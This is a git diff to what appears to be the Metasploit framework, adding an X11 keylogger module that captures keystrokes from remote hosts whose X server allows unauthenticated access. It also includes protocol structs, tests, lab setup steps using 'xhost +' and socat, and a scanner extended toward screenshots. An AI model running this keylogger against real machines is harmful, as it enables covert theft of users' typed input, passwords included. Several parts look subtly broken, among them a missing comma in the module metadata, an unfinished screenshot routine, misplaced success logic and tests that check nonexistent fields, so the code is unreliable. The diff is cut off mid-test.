diff --git a/documentation/modules/auxiliary/gather/x11_keyboard_spy.md b/documentation/modules/auxiliary/gather/x11_keyboard_spy.md index 8aae87977d9b..df7b85fbff26 100644 --- a/documentation/modules/auxiliary/gather/x11_keyboard_spy.md +++ b/documentation/modules/auxiliary/gather/x11_keyboard_spy.md @@ -1,12 +1,92 @@ -The following is the recommended format for module documentation. But feel free to add more content/sections to this. -One of the general ideas behind these documents is to help someone troubleshoot the module if it were to stop -functioning in 5+ years, so giving links or specific examples can be VERY helpful. - ## Vulnerable Application -Instructions to get the vulnerable application. If applicable, include links to the vulnerable install -files, as well as instructions on installing/configuring the environment if it is different than a -standard install. Much of this will come from the PR, and can be copy/pasted. +This module binds to an open X11 host to log keystrokes. The X11 service can accept +connections from any users when misconfigured with the command `xhost +`. +This module is a close copy of the old xspy c program which has been on Kali for a long time. +The module works by connecting to the X11 session, creating a background +window, binding a keyboard to it and creating a notification alert when a key +is pressed. + +One of the major limitations of xspy, and thus this module, is that it polls +at a very fast rate. Faster than a key being pressed is released (especially before +the repeat delay is hit). To combat printing multiple characters for a single key +press, repeat characters are ignored. + +### Ubuntu 10.04 + +1. `sudo nano /etc/gdm/gdm.schemas` +2. Find: + + ``` + + security/DisallowTCP + b + true + + ``` + - Change `true` to `false` + +3. logout or reboot +4. Verification: ```sudo netstat -antp | grep 6000``` + + ``` + tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 1806/X + ``` + +5. Now, to verify you allow ANYONE to get on X11, type: `xhost +` + +### Ubuntu 12.04, 14.04 + +1. `sudo nano /etc/lightdm/lightdm.conf` +2. Under the `[SeatDefaults]` area, add: + + ``` + xserver-allow-tcp=true + allow-guest=true + ``` + +3. logout or reboot +4. Verification: ```sudo netstat -antp | grep 6000``` + + ``` + tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 1806/X + ``` + +5. Now, to verify you allow ANYONE to get on X11, type: `xhost +` + +### Ubuntu 16.04 + + Use the Ubuntu 12.04 instructions, however change `SeatDefaults` to `Seat:*` + +### Fedora 15 + +1. `vi /etc/gdm/custom.conf` +2. Under the `[security]` area, add: + + ``` + DisallowTCP=false + ``` + +3. logout/reboot +4. Now, to verify you allow ANYONE to get on X11, type: `xhost +` + +### Solaris 10 + +1. `svccfg -s svc:/application/x11/x11-server setprop options/tcp_listen = true` +2. `svc disable cde-login` +3. `svc enable cde-login` +4. `xhost +` + +### Ubuntu 22.04 + +#### Server + +Getting X11 to listen on a TCP port is rather taxing, so we use socat to facilitate instead. + +1. `sudo apt-get install ubuntu-desktop socat` # overkill but it gets everything we need +2. `sudo reboot` # prob a good idea since so much was installed +3. `sudo xhost +` # must be done through gui, not through SSH +4. `socat -d -d TCP-LISTEN:6000,fork,bind= UNIX-CONNECT:/tmp/.X11-unix/X0` ## Verification Steps Example steps in this format (is also in the PR): @@ -42,3 +122,7 @@ msf > use module_name msf auxiliary(module_name) > set POWERLEVEL >9000 msf auxiliary(module_name) > exploit ``` + +## Confirming + +To keylog the remote host, we use a tool called [xspy](http://tools.kali.org/sniffingspoofing/xspy) \ No newline at end of file diff --git a/lib/msf/core/exploit/remote/x11.rb b/lib/msf/core/exploit/remote/x11.rb index 8d7cfd5ef792..c9b0d49c0db8 100644 --- a/lib/msf/core/exploit/remote/x11.rb +++ b/lib/msf/core/exploit/remote/x11.rb @@ -11,6 +11,7 @@ module Msf::Exploit::Remote::X11 include Msf::Exploit::Remote::X11::Extensions include Msf::Exploit::Remote::X11::Xkeyboard include Msf::Exploit::Remote::X11::Keysymdef + include Msf::Exploit::Remote::X11::Window class X11GETPROPERTYRESPONSE < BinData::Record endian :little @@ -33,7 +34,7 @@ class X11GETPROPERTY < BinData::Record uint8 :delete_field, initial_value: 0 # \x00 false, assuming \x01 true? uint16 :request_length, value: -> { num_bytes / 4 } uint32 :window # X11CONNECTION.screen_root - uint32 :property, value: 23 # "\x17\x00\x00\x00" RESOURCE_MANAGER + uint32 :property, initial_value: 23 # "\x17\x00\x00\x00" RESOURCE_MANAGER uint32 :get_property_type, value: 31 # "\x1f\x00\x00\x00" # get-property-type (31 = string) uint32 :long_offset, value: 0 uint32 :content_length, value: 100_000_000 # "\x00\xe1\xf5\x05" @@ -116,4 +117,14 @@ class X11GETINPUTFOCUSREQUEST < BinData::Record uint8 :unused uint16 :request_length, value: -> { num_bytes / 4 } end -end + + class X11INTERNATOM < BinData::Record + endian :little + uint8 :opcode, value: 16 #InternAtom + uint8 :only_if_exists, initial_value: 0 # 0 false, 1 true? + uint16 :request_length, value: -> { num_bytes / 4 } + uint16 :name_length, value: -> { name.to_s.length } + uint16 :unused, initial_value: 0 + string :name, trim_padding: true + end +end \ No newline at end of file diff --git a/lib/msf/core/exploit/remote/x11/connect.rb b/lib/msf/core/exploit/remote/x11/connect.rb index 999114d81c83..3b1a16bbe07b 100644 --- a/lib/msf/core/exploit/remote/x11/connect.rb +++ b/lib/msf/core/exploit/remote/x11/connect.rb @@ -99,4 +99,4 @@ class X11CONNECTIONREQUEST < BinData::Record uint16 :authorization_protocol_data_length, value: 0 uint16 :unused2, value: 0 end -end +end \ No newline at end of file diff --git a/lib/msf/core/exploit/remote/x11/extensions.rb b/lib/msf/core/exploit/remote/x11/extensions.rb index c0ae9e9e1f57..56d54a6fa0bc 100644 --- a/lib/msf/core/exploit/remote/x11/extensions.rb +++ b/lib/msf/core/exploit/remote/x11/extensions.rb @@ -41,4 +41,4 @@ def versions? wanted_major.nonzero? || wanted_minor.nonzero? end end -end +end \ No newline at end of file diff --git a/lib/msf/core/exploit/remote/x11/keysymdef.rb b/lib/msf/core/exploit/remote/x11/keysymdef.rb index 53265e0aa292..2bb3b1e13210 100644 --- a/lib/msf/core/exploit/remote/x11/keysymdef.rb +++ b/lib/msf/core/exploit/remote/x11/keysymdef.rb @@ -111,7 +111,7 @@ module Msf::Exploit::Remote::X11::Keysymdef 65500 => '[F31]', # XK_F31 65501 => '[F32]', # XK_F32 65502 => '[F33]', # XK_F33 - 65503 => '[F34]', # XK_F34 + 65503 => '[F34]', # XK_F34 65504 => '[F35]', # XK_F35 65505 => '[Shift_L]', # XK_Shift_L 65506 => '[Shift_R]', # XK_Shift_R @@ -128,4 +128,4 @@ module Msf::Exploit::Remote::X11::Keysymdef 65517 => '[Hyper_L]', # XK_Hyper_L 65518 => '[Hyper_R]' # XK_Hyper_R } -end +end \ No newline at end of file diff --git a/lib/msf/core/exploit/remote/x11/window.rb b/lib/msf/core/exploit/remote/x11/window.rb new file mode 100644 index 000000000000..38d92298225e --- /dev/null +++ b/lib/msf/core/exploit/remote/x11/window.rb @@ -0,0 +1,77 @@ +# -*- coding: binary -*- + +# +# This mixin is a simplistic implementation of X11 extensions protocol +# +# Wireshark dissector: https://wiki.wireshark.org/X11 +# + +module Msf::Exploit::Remote::X11::Window + class GETREQUEST < BinData::Record + endian :little + uint8 :opcode # 3 = GetWindowAttributes, 14 = GetGeometry + uint8 :unused # XXX seems to be increasing counter... + uint16 :request_length, value: -> { num_bytes / 4 } + uint32 :window + end + + class GETWINDOWATTRIBUTESRESPONSE < BinData::Record + endian :little + + uint8 :depth + uint16 :visual_id + uint8 :class_name + uint8 :bit_gravity + uint8 :win_gravity + uint32 :backing_planes + uint32 :backing_pixel + uint8 :save_under + uint8 :map_is_installed + uint8 :map_state + uint8 :override_redirect + uint32 :colormap + uint32 :all_event_masks + uint32 :your_event_mask + uint16 :do_not_propagate_mask + end + + class GetGeometryResponse < BinData::Record + endian :little + + uint8 :depth + uint32 :root + uint16 :x + uint16 :y + uint16 :width + uint16 :height + uint16 :border_width + end + + class TRANSLATECOORDINATESREQUEST < BinData::Record + endian :little + uint8 :opcode, value: 40 # TranslateCoordinates + uint8 :unused # XXX seems to be increasing counter... + uint16 :request_length, value: -> { num_bytes / 4 } + uint32 :src_window + uint32 :dst_window + uint16 :src_x + uint16 :src_y + end + + class QUERYTREEREQUEST < BinData::Record + endian :little + uint8 :opcode, value: 15 # QueryTree + uint8 :unused, value: 1 # XXX counter? + uint16 :request_length, value: -> { num_bytes / 4 } + uint32 :drawable + end + + class QUERYTREERESPONSE < BinData::Record + endian :little + uint8 :root + uint8 :parent_id + uint16 :n_children + array :children, type: :uint32le, initial_length: :n_children + array :tree, type: :uint8, read_until: :eof + end +end diff --git a/lib/msf/core/exploit/remote/x11/xkeyboard.rb b/lib/msf/core/exploit/remote/x11/xkeyboard.rb index 0055a8229f7c..6386f7296eef 100644 --- a/lib/msf/core/exploit/remote/x11/xkeyboard.rb +++ b/lib/msf/core/exploit/remote/x11/xkeyboard.rb @@ -7,18 +7,18 @@ # module Msf::Exploit::Remote::X11::Xkeyboard - class X11XKBKEYMODMAP < BinData::Record + class KEYMODMAP < BinData::Record endian :little uint8 :keycode uint8 :mods # bit array, shift, lock, control, 1, 2, 3, 4, 5 end - class X11XKBSYM < BinData::Record + class SYM < BinData::Record endian :little uint32 :syms end - class X11XKBKEYSYMENTRY < BinData::Record + class KEYSYMENTRY < BinData::Record endian :little uint32 :kt_index uint8 :group_info @@ -26,18 +26,18 @@ class X11XKBKEYSYMENTRY < BinData::Record uint16 :n_syms # next we have a list of syms, length is n_syms array :key_sym_array, - type: :X11XKBSYM, + type: :SYM, initial_length: :n_syms end - class X11XKBMODDEF < BinData::Record + class MODDEF < BinData::Record endian :little uint8 :mask uint8 :real_mods uint16 :vmods end - class X11XKBKEYMAPENTRY < BinData::Record + class KEYMAPENTRY < BinData::Record endian :little uint8 :active uint8 :mods_mask # bit array, shift, lock, control, 1, 2, 3, 4, 5 @@ -47,7 +47,7 @@ class X11XKBKEYMAPENTRY < BinData::Record uint16 :unused end - class X11XKBKEYTYPE < BinData::Record + class KEYTYPE < BinData::Record endian :little uint8 :mods_mask uint8 :mods_mods @@ -56,13 +56,13 @@ class X11XKBKEYTYPE < BinData::Record uint8 :n_map_entries uint8 :has_preserve # 8bit boolean, \x01 == true \x00 == false uint8 :unused - # next we have a list of X11XKBKEYMAPENTRY, length is :n_map_entries + # next we have a list of KEYMAPENTRY, length is :n_map_entries array :key_map_array, - type: :X11XKBKEYMAPENTRY, + type: :KEYMAPENTRY, initial_length: :n_map_entries # not sure how to tell how many of these there are array :key_mods_array, - type: :X11XKBMODDEF, + type: :MODDEF, initial_length: :n_map_entries, onlyif: -> { has_preserve == 1 } end @@ -177,17 +177,17 @@ class GETMAPREPLY < BinData::Record uint8 :total_vmod_map_key uint8 :unused1 uint16 :virtual_mods # bit array - # next we have a list of X11XKBKEYTYPE, length is :total_types + # next we have a list of KEYTYPE, length is :total_types array :key_types_array, - type: :X11XKBKEYTYPE, + type: :KEYTYPE, initial_length: :n_types - # next we have a list of X11XKBKEYSYMENTRY + # next we have a list of KEYSYMENTRY array :key_map_array, - type: :X11XKBKEYSYMENTRY, + type: :KEYSYMENTRY, initial_length: :n_key_sym - # next we have a list of X11XKBKEYMODMAP + # next we have a list of KEYMODMAP array :key_mod_map_array, - type: :X11XKBKEYMODMAP, + type: :KEYMODMAP, initial_length: :total_mod_map_key uint16 :unused2, onlyif: :padding? # this onlyif may be wrong, its a guess for the time being @@ -357,4 +357,23 @@ class QUERYKEYMAPREPLY < BinData::Record type: :uint8, read_until: :eof end -end + + class BELLREQUEST < BinData::Record + endian :little + uint8 :xkeyboard_id # opcode + uint8 :extension_minor, value: 3 # Bell + uint16 :request_length, value: -> { num_bytes / 4 } + uint16 :device_spec, value: 256 # XXX does this come from elsewhere? + uint16 :bell_class, value: 768 + uint16 :bell_id, value: 1024 + uint8 :percent, initial_value: 50 # xxx do we want to change this? + uint8 :force_sound, initial_value: 0 # 0 = false, 1 true? + uint8 :sound_only, initial_value: 0 # 0 = false, 1 true? + uint8 :unused + uint16 :pitch, initial_value: 0 + uint16 :duration, initial_value: 0 + uint16 :unused2 + uint32 :name, initial_value: 816 # XXX do we see this elsewhere? + uint32 :window + end +end \ No newline at end of file diff --git a/modules/auxiliary/gather/x11_keyboard_spy.rb b/modules/auxiliary/gather/x11_keyboard_spy.rb index da54af30e732..b482a4c6907f 100644 --- a/modules/auxiliary/gather/x11_keyboard_spy.rb +++ b/modules/auxiliary/gather/x11_keyboard_spy.rb @@ -19,12 +19,13 @@ def initialize(info = {}) The module works by connecting to the X11 session, creating a background window, binding a keyboard to it and creating a notification alert when a key is pressed. + One of the major limitations of xspy, and thus this module, is that it polls - at a very fast rate, faster than a key being pressed is released (especiall before + at a very fast rate, faster than a key being pressed is released (especially before the repeat delay is hit). To combat printing multiple characters for a single key - press, repeat characters arent printed. If a repeat character is pressed on the - keyboard, it will unfortunately be ignored. - socat -d -d TCP-LISTEN:6000,fork,bind=127.0.0.1 UNIX-CONNECT:/tmp/.X11-unix/X1 + press, repeat characters arent printed when typed in a very fast manor. This is also + an imperfect keylogger in that keystrokes arent stored and forwarded but status + displayed at poll time. Keys may be repeated or missing. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -44,11 +45,14 @@ def initialize(info = {}) 'Reliability' => [], 'SideEffects' => [], 'AKA' => ['xspy'] + 'RelatedModules' => [ + 'auxiliary/scanner/x11/open_x11', + ] } ) ) register_options [ - OptInt.new('ListenerTimeout', [ true, 'The maximum number of seconds to keylog', 600 ]) # 10minutes + OptInt.new('ListenerTimeout', [ true, 'The maximum number of seconds to keylog', 600 ]) # 10 minutes ] end @@ -129,21 +133,20 @@ def build_sym_key_map(map_data) end # TBH still don't really understand exactly how this works, but it does. - def print_keystroke(bit_array_of_keystrokes, key_map) + def print_keystroke(bit_array_of_keystrokes, key_map, last_key_press_array) # Iterate through each byte of keyboard state - 32.times do |i| + bit_array_of_keystrokes.each_with_index do |keyboard_state_byte, byte_index| + next if last_key_press_array[byte_index] == keyboard_state_byte # Check each bit within the byte 8.times do |j| - next unless bit_array_of_keystrokes[i] & (1 << j) != 0 + next unless keyboard_state_byte & (1 << j) != 0 # Key at position (i*8 + j) is pressed - keycode = i * 8 + j - keysym = key_map[keycode] + keycode = byte_index * 8 + j - print_line(keysym) unless @previous_character == keysym - @keylogger_log += keysym unless @previous_character == keysym - - @previous_character = keysym + keysym = key_map[keycode] + print_line(keysym) + @keylogger_log += keysym end end end @@ -217,9 +220,10 @@ def run vprint_status('(9/9) Creating local keyboard map') key_map = build_sym_key_map(map_data) + last_key_press_array = Array.new(32, 0) + empty = Array.new(32, 0) print_good('All setup, watching for keystrokes') - @previous_character = '' # loop mechanics stolen from exploit/multi/handler stime = Time.now.to_f timeout = datastore['ListenerTimeout'].to_i @@ -229,28 +233,17 @@ def run sock.put(QUERYKEYMAPREQUEST.new.to_binary_s) bit_array_of_keystrokes = QUERYKEYMAPREPLY.read(sock.get_once(-1, 1)).data - - print_keystroke(bit_array_of_keystrokes, key_map) - - # So we have a timing problem here. The c code does a 10 usec sleep via select - # https://gitlab.com/kalilinux/packages/xspy/-/blob/kali/master/Xspy.c?ref_type=heads#L79 - # when we try to replicate with either ruby sleep(0.00001), orRex.sleep(0.00001), we see - # both give a .2 second sleep which is FAR too slow for typing, we miss about 50% - # of typed characters at the author's typing speed. - # - # However, no sleep gives us repeated alternating characters for whatever reason - # so 'the' would give ththththththe. Still working on how to get around this - stall_start = Time.now - while (Time.now - stall_start < 0.001) - sock.put(QUERYKEYMAPREQUEST.new.to_binary_s) - sock.get_once(-1, 1) - # don't print, we're using this to slow things down - end + # we poll FAR quicker than a normal key press, so we need to filter repeats + next if bit_array_of_keystrokes == last_key_press_array # skip repeats + + print_keystroke(bit_array_of_keystrokes, key_map, last_key_press_array) unless bit_array_of_keystrokes == empty + last_key_press_array = bit_array_of_keystrokes end ensure vprint_status('Closing X11 connection') sock.put(X11FREEGRAPHICALCONTEXTREQUEST.new(gc: connection.resource_id_base).to_binary_s + X11GETINPUTFOCUSREQUEST.new.to_binary_s) + disconnect unless @keylogger_log == '' loot_path = store_loot( @@ -266,4 +259,4 @@ def run end end end -end +end \ No newline at end of file diff --git a/modules/auxiliary/scanner/x11/open_x11.rb b/modules/auxiliary/scanner/x11/open_x11.rb index 67db1cbb26b1..e71728001592 100644 --- a/modules/auxiliary/scanner/x11/open_x11.rb +++ b/modules/auxiliary/scanner/x11/open_x11.rb @@ -4,70 +4,121 @@ ## class MetasploitModule < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp - include Msf::Auxiliary::Scanner - include Msf::Auxiliary::Report + include Exploit::Remote::Tcp + include Auxiliary::Scanner + include Auxiliary::Report + include Exploit::Remote::X11 def initialize super( 'Name' => 'X11 No-Auth Scanner', 'Description' => %q{ This module scans for X11 servers that allow anyone - to connect without authentication. + to connect without authentication. It can optionally take + a screenshot as well. }, - 'Author' => ['tebo '], + 'Author' => [ + 'tebo ', # original module + 'h00die' # X11 library, screenshot updates + ], 'References' => [ ['OSVDB', '309'], ['CVE', '1999-0526'], ], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [], + 'RelatedModules' => [ + 'auxiliary/gather/x11_keyboard_spy', + ] + } ) register_options([ - Opt::RPORT(6000) + Opt::RPORT(6000), + OptBool.new('SCREENSHOT', [ false, 'Save a screenshot to loot', true ]), ]) end + def take_screenshot(connection) + query_extension_calls = 0 + # query extension bit requests + sock.put(QUERYEXTENSION.new(extension: 'BIG-REQUESTS', unused2: query_extension_calls).to_binary_s) # check if BIG-REQUESTS exist, not sure why + query_extension_calls += 1 + big_requests_plugin = process_extension_query(sock.get_once(-1, 1), 'BIG-REQUESTS') + + # enable big requests + sock.put(EXTENSIONTOGGLE.new(opcode: big_requests_plugin.major_opcode).to_binary_s) # not sure why we do this + sock.get_once(-1, 1) + # createGC, GetProperties + sock.put(X11CREATEGRAPHICALCONTEXTREQUEST.new(cid: connection.resource_id_base, + drawable: connection.screen_root, + gc_value_mask_background: 1).to_binary_s + + X11GETPROPERTY.new(window: connection.screen_root).to_binary_s) # not sure why we do this + sock.get_once(-1, 1) + # InternAtom wait + sock.put(X11INTERNATOM.new(name: "Wait").to_binary_s) + sock.get_once(-1, 1) + # xkeyboard-bell + sock.put(BELLREQUEST.new().to_binary_s) + sock.get_once(-1, 1) + # getwindowattributes+getgeometry + sock.put(X11GETPROPERTY.new(window: connection.screen_root, + property: 39, # WM_Name + get_property_type: 31 # string + ).to_binary_s) # not sure why we do this + # translatecoordinates + # getproperty + # InternAtom server_overlay_visuals + sock.put(X11INTERNATOM.new(name: "SERVER_OVERLAY_VISUALS").to_binary_s) + # getwindowattributes+getgeometry + # querytree + sock.put(QUERYTREEREQUEST.new().to_binary_s) + tree = QUERYTREERESPONSE.read(sock.get_once(-1, 1)) + # getwindowattributes+getgeometry + end + def run_host(ip) begin connect - - # X11.00 Null Auth Connect - sock.put("\x6c\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00") - response = sock.get_once - - disconnect - - if response - success = response[0,1].unpack('C')[0] - else - print_error("No response received due to a timeout") - return - end - - - if(success == 1) - vendor_len = response[24,2].unpack('v')[0] - vendor = response[40,vendor_len].unpack('A*')[0] - print_good("#{ip} Open X Server (#{vendor})") - # Add Report - report_note( - :host => ip, - :proto => 'tcp', - :sname => 'x11', - :port => rport, - :type => 'Open X Server', - :data => "Open X Server (#{vendor})" - ) - elsif (success == 0) - print_error("#{ip} Access Denied") - else - # X can return a reason for auth failure but we don't really care for this + sock.put(X11CONNECTIONREQUEST.new.to_binary_s) # x11 session establish + packet = sock.get_once(-1, 1) + begin + connection = X11CONNECTION.read(packet) + rescue EOFError + vprint_bad("Connection packet malfored (size: #{packet.length}), attempting to get read more data") + packet += sock.get_once(-1, 1) + begin + connection = X11CONNECTION.read(packet) + if connection.success == 1 + print_good("#{ip} - Successly established X11 connection") + vprint_status(" Vendor: #{connection.vendor}") + vprint_status(" Version: #{connection.protocol_version_major}.#{connection.protocol_version_minor}") + vprint_status(" Screen Resolution: #{connection.screen_width_in_pixels}x#{connection.screen_height_in_pixels}") + vprint_status(" Resource ID: #{connection.resource_id_base.inspect}") + vprint_status(" Screen root: #{connection.screen_root.inspect}") + report_note( + :host => ip, + :proto => 'tcp', + :sname => 'x11', + :port => rport, + :type => 'x11.server_vendor', + :data => "Open X Server (#{connection.vendor})" + ) + else + vprint_error("#{ip} Access Denied") + end + rescue StandardError + vprint_bad('Failed to parse X11 connection initialization response packet') + end end - + + disconnect rescue ::Rex::ConnectionError rescue ::Errno::EPIPE end diff --git a/spec/lib/msf/core/exploit/remote/x11.rb b/spec/lib/msf/core/exploit/remote/x11.rb index b8e93c88e1c7..3edd6e4207a9 100644 --- a/spec/lib/msf/core/exploit/remote/x11.rb +++ b/spec/lib/msf/core/exploit/remote/x11.rb @@ -41,6 +41,10 @@ "\x3c\x01\x02\x00\x00\x00\x00\x02" end + let(:intern_atom) do + "\x10\x00\x03\x00\x04\x00\x00\x00\x57\x61\x69\x74" + end + describe 'handles GetProperty response' do it do response = Msf::Exploit::Remote::X11::X11GETPROPERTYRESPONSE.read(get_property_resp) @@ -98,4 +102,21 @@ expect(request.gc).to eq(33554432) end end -end + + + describe 'creates a InternAtom request' do + it do + request = Msf::Exploit::Remote::X11::X11INTERNATOM.read(intern_atom) + expect(request.opcode).to eq(16) + expect(request.request_length).to eq(3) + expect(request.name).to eq("Wait") + expect(request.only_if_exists).to eq(0) + + request = Msf::Exploit::Remote::X11::X11INTERNATOM.new( + name: "Wait", + ) + expect(request.to_binary_s).to eq(intern_atom) + end + end + +end \ No newline at end of file diff --git a/spec/lib/msf/core/exploit/remote/x11/connect.rb b/spec/lib/msf/core/exploit/remote/x11/connect.rb index fea24f62a049..14b440bbf5aa 100644 --- a/spec/lib/msf/core/exploit/remote/x11/connect.rb +++ b/spec/lib/msf/core/exploit/remote/x11/connect.rb @@ -1249,4 +1249,4 @@ expect(response.screen_height_in_pixels).to eq(832) end end -end +end \ No newline at end of file diff --git a/spec/lib/msf/core/exploit/remote/x11/extensions.rb b/spec/lib/msf/core/exploit/remote/x11/extensions.rb index 108e0b7a1132..cd3abf26f14b 100644 --- a/spec/lib/msf/core/exploit/remote/x11/extensions.rb +++ b/spec/lib/msf/core/exploit/remote/x11/extensions.rb @@ -65,4 +65,4 @@ expect(request.to_binary_s).to eq(enable_134) end end -end +end \ No newline at end of file diff --git a/spec/lib/msf/core/exploit/remote/x11/window.rb b/spec/lib/msf/core/exploit/remote/x11/window.rb new file mode 100644 index 000000000000..c238e595fd2c --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/x11/window.rb @@ -0,0 +1,158 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Msf::Exploit::Remote::X11::Window do + subject do + mod = ::Msf::Exploit.new + mod.extend described_class + + mod.send(:initialize) + mod + end + + let(:get_window_attributes) do + "\x03\x03\x02\x00\x28\x05\x00\x00" + end + + let(:get_geometry) do + "\x0e\x04\x02\x00\x28\x05\x00\x00" + end + + let(:translate_request) do + "\x28\x03\x04\x00\x28\x05\x00\x00\x28\x05\x00\x00\x00\x00\x00\x00" + end + + let(:querytree_request) do + "\x0f\x01\x02\x00\x28\x05\x00\x00" + end + + let(:querytree_response) do + "\x01\x00\x10\x00\x48\x00\x00\x00\x28\x05\x00\x00\x00\x00\x00\x00" \ + "\x48\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x10\x00\x40\x00\x08\x00\x20\x00\x01\x00\x40\x00\x06\x00\x40\x00" \ + "\x07\x00\x40\x00\x08\x00\x40\x00\x0e\x00\x40\x00\x0f\x00\x40\x00" \ + "\x11\x00\x40\x00\x01\x00\xc0\x00\x01\x00\xa0\x00\x01\x00\x80\x00" \ + "\x01\x00\x60\x01\x01\x00\xe0\x00\x01\x00\x40\x01\x01\x00\x20\x01" \ + "\x03\x00\x20\x01\x01\x00\x80\x01\x02\x00\x40\x01\x01\x00\xa0\x01" \ + "\x1a\x00\x40\x00\x02\x00\xc0\x01\x01\x00\xe0\x01\x01\x00\x60\x02" \ + "\x02\x00\x60\x02\x06\x00\x60\x02\x01\x00\x20\x02\x01\x00\xa0\x02" \ + "\x01\x00\xe0\x02\x05\x05\x40\x00\x0c\x00\x20\x02\x35\x0b\x40\x00" \ + "\xd6\x0c\x40\x00\xf6\x1a\x40\x00\x03\x1c\x40\x00\x70\x1f\x40\x00" \ + "\xda\x29\x40\x00\xc4\x2a\x40\x00\xcc\x39\x40\x00\xb3\x3a\x40\x00" \ + "\x35\x3c\x40\x00\x7c\x3f\x40\x00\x03\x40\x40\x00\x89\x40\x40\x00" \ + "\xb6\x42\x40\x00\xc3\x43\x40\x00\x1a\x48\x40\x00\x64\x4a\x40\x00" \ + "\x05\x4d\x40\x00\xc9\x4d\x40\x00\xcb\x4d\x40\x00\xcd\x4d\x40\x00" \ + "\xa5\x58\x40\x00\xe7\x5a\x40\x00\x96\x63\x40\x00\x04\x00\x00\x01" \ + "\x01\x00\x40\x02\x08\x00\x00\x01\x14\x00\x00\x01\x28\x00\x00\x01" \ + "\xa0\x00\x00\x01\xae\x6a\x40\x00\xc9\x6c\x40\x00\xf5\x02\x00\x01" \ + "\x99\x03\x00\x01\x5c\x6d\x40\x00\x01\x00\x80\x02\x03\x00\x80\x02" \ + "\x0a\x00\x60\x02\x13\x69\x40\x00\x08\x00\x80\x02\x0a\x00\x40\x00" + end + + let(:windowattributes_response) do + "\x01\x00\x11\x00\x03\x00\x00\x00\x21\x00\x00\x00\x02\x00\x00\x01" \ + "\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x02\x01\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + end + + let(:getgeometry_response) do + "\x01\x00\x12\x00\x00\x00\x00\x00\x28\x05\x00\x00\x00\x00\x00\x00" \ + "\xbe\x03\x40\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + end + + describe 'creates GET requests for different functions' do + it do + # test against packet pulled from wireshark + request = Msf::Exploit::Remote::X11::Window::GETREQUEST.read(get_window_attributes) + expect(request.opcode).to eq(3) + expect(request.request_length).to eq(2) + expect(request.window).to eq(1320) + + request = Msf::Exploit::Remote::X11::Window::GETREQUEST.new( + window: 1320, + opcode: 3, + unused: 3 + ) + expect(request.to_binary_s).to eq(get_window_attributes) + + request = Msf::Exploit::Remote::X11::Window::GETREQUEST.read(get_geometry) + expect(request.opcode).to eq(14) + expect(request.request_length).to eq(2) + expect(request.window).to eq(1320) + + request = Msf::Exploit::Remote::X11::Window::GETREQUEST.new( + window: 1320, + opcode: 14, + unused: 4 + ) + expect(request.to_binary_s).to eq(get_geometry) + end + end + + describe 'creates TranslateCoordinates request' do + it do + # test against packet pulled from wireshark + request = Msf::Exploit::Remote::X11::Window::TRANSLATECOORDINATESREQUEST.read(translate_request) + expect(request.opcode).to eq(40) + expect(request.request_length).to eq(4) + expect(request.src_window).to eq(1320) + expect(request.dst_window).to eq(1320) + expect(request.src_x).to eq(0) + expect(request.src_y).to eq(0) + + request = Msf::Exploit::Remote::X11::Window::TRANSLATECOORDINATESREQUEST.new( + src_window: 1320, + dst_window: 1320, + opcode: 40, + unused: 3 + ) + expect(request.to_binary_s).to eq(translate_request) + end + end + + describe 'creates QueryTree request' do + it do + # test against packet pulled from wireshark + request = Msf::Exploit::Remote::X11::Window::QUERYTREEREQUEST.read(querytree_request) + expect(request.opcode).to eq(15) + expect(request.request_length).to eq(2) + + request = Msf::Exploit::Remote::X11::Window::QUERYTREEREQUEST.new( + drawable: 1320 + ) + expect(request.to_binary_s).to eq(querytree_request) + end + end + + describe 'handles QueryTree response' do + it do + # test against packet pulled from wireshark + response = Msf::Exploit::Remote::X11::Window::QUERYTREERESPONSE.read(querytree_response) + puts response + expect(response.opcode).to eq(15) + expect(response.request_length).to eq(2) + end + end + + describe 'handles GetWindowAttributes response' do + it do + # test against packet pulled from wireshark + response = Msf::Exploit::Remote::X11::Window::GETWINDOWATTRIBUTESRESPONSE.read(windowattributes_response) + puts response + expect(response.opcode).to eq(15) + expect(response.request_length).to eq(2) + end + end + + describe 'handles GetGeometry response' do + it do + # test against packet pulled from wireshark + response = Msf::Exploit::Remote::X11::Window::GetGeometryResponse.read(getgeometry_response) + puts response + expect(response.opcode).to eq(15) + expect(response.request_length).to eq(2) + end + end + +end diff --git a/spec/lib/msf/core/exploit/remote/x11/xkeyboard.rb b/spec/lib/msf/core/exploit/remote/x11/xkeyboard.rb index f6d4cab3d267..171893ea9e98 100644 --- a/spec/lib/msf/core/exploit/remote/x11/xkeyboard.rb +++ b/spec/lib/msf/core/exploit/remote/x11/xkeyboard.rb @@ -378,6 +378,12 @@ "\x2c\x00\x01\x00" end + let(:set_bell) do + "\x88\x03\x07\x00\x00\x01\x00\x03\x00\x04\x32\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x2e\x03\x00\x00\x00\x00\x00\x00" + end + + describe 'handles xkeyboard GetMap response' do it do response = Msf::Exploit::Remote::X11::Xkeyboard::GETMAPREPLY.read(get_keyboardmap_resp) @@ -479,25 +485,29 @@ expect(request.to_binary_s).to eq(keyboard_select_events_map_notify) end - describe 'creates get map request' do + describe 'creates bell request' do it do # test against packet pulled from wireshark - request = Msf::Exploit::Remote::X11::Xkeyboard::GETMAPREQUEST.read(keyboard_get_map_request) + request = Msf::Exploit::Remote::X11::Xkeyboard::BELLREQUEST.read(set_bell) expect(request.xkeyboard_id).to eq(136) - expect(request.extension_minor).to eq(8) + expect(request.extension_minor).to eq(3) expect(request.request_length).to eq(7) expect(request.device_spec).to eq(256) + expect(request.bell_class).to eq(768) + expect(request.bell_id).to eq(1024) + expect(request.percent).to eq(50) + expect(request.force_sound).to eq(0) + expect(request.event_only).to eq(0) + expect(request.pitch).to 